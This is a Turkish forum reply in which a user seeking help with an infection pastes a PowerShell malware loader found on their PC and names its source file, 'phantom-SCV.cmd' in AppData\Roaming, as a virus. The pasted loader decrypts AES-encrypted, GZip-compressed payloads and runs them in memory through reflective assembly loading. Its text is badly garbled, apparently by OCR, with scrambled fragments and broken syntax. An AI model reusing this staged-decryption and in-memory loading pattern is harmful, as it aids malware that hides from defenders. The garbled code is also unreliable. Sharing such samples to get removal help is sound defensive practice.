DriveWithAzrail
Uzman
Teşekkürler hocam.Eveet. Bakalım şu komutlara.
Kod:C:\Windows\System32>echo cls; function decrypt function (Sparam var)( ate(); Saes var. Hode- var) ( addingMode)::PKCS7; Mode-[Sy System. Security. Cryptography.Cipherlode):: Saes var.Key-[System.Com ography.CipherMode)::CBC; aes var. IV-[System.Convert):: FromBase64String("uZKCQ/Tyf9 Saes var-[System.Security.Cryptography. Sees var. Paddi dding-[System.Security. graphy.Aes]::Cre FromBase64String(HI/dNSCgaLdrNY10CFvRtbRac30V1+3725FF8w $return_var-$decryptor_var.TransforminalBlo ZXCQ/Tyf9zNqfrgw@yhMg); Saes var.Dispose(); ryStream(,Sparam_var) FinalBlock($param_var, 0, Sparam var. $return_var;)fur ar;) function decompress ); SpdqtA-New-Object S $decryptor var-Saes var.CreateDecry Length); $decryptor var.Dispose() ss_function($param var) ($XyfxT-New-Obj am($XyfxT, [10.Compression.CompressionMode System.IO.MemoryStream; $Ypluj-New-Object Syste ispose(); essionMode)::D SpdqtA.Dispose(); ::Decompress); SYpiUj.c CopyTo( (SpdqtA) ); Sypsuj.D em.10.Compression.6ZipStr Dispose(); System. Reflection.Assembly)::Load([byte[] SpdqtA.ToArray();) function execute function (Sparam var, Spar $UeExN-SErtZt. EntryPoint; 1a\AppData\Roaming\Sphantom-SCV.cmd"; Shost.UI. RawUI e):: ReadAllText($TXTqr).Split([Environment]::NewLine); GTTAMXAFNB')) WindowTitle SEXTOR: SOND CyfxT.D (Snull, $param2 var foreach ($1Zy03 in $OKPUM) (1 $TXTqr; SOXPLM(System.IO.F11 Spayload1 var-decompress function (decrypt function (Convert): Fromesest( SnZPwy-$1Zy03.Substring(20); break; })$pay) Replace('', A')))); $payload2_var-decompress function (decrypt function ([Convert ($1Zy03.StartsWith("Vjy1XChnv if ($12 String(Spayloads_var[0].Replace("',""). eplace('#','/'). Replace('', A)))); Spayload3 var-decompress function (decrypt_function ([Com e64String($payloads_var[1].R payloads_var[2].Replace(' ','/'). Replace('@', 'A')))) execute (decrypt function ([Convert)]:: FromBase64String($ ar Snull; execute function Spayload3_var ([s (string[function spayloadi var null; execute function Spayload2_v \Windows\System32\WindowsP PowerShell\v1. 6\powershell.e
Sphantom-SCV.cmd bir virüs. Konumu AppData\Roaming\.
@Recep Baltaş Hocam tam Appdata roaming klosörüne gidiyordum ki monitör gitti.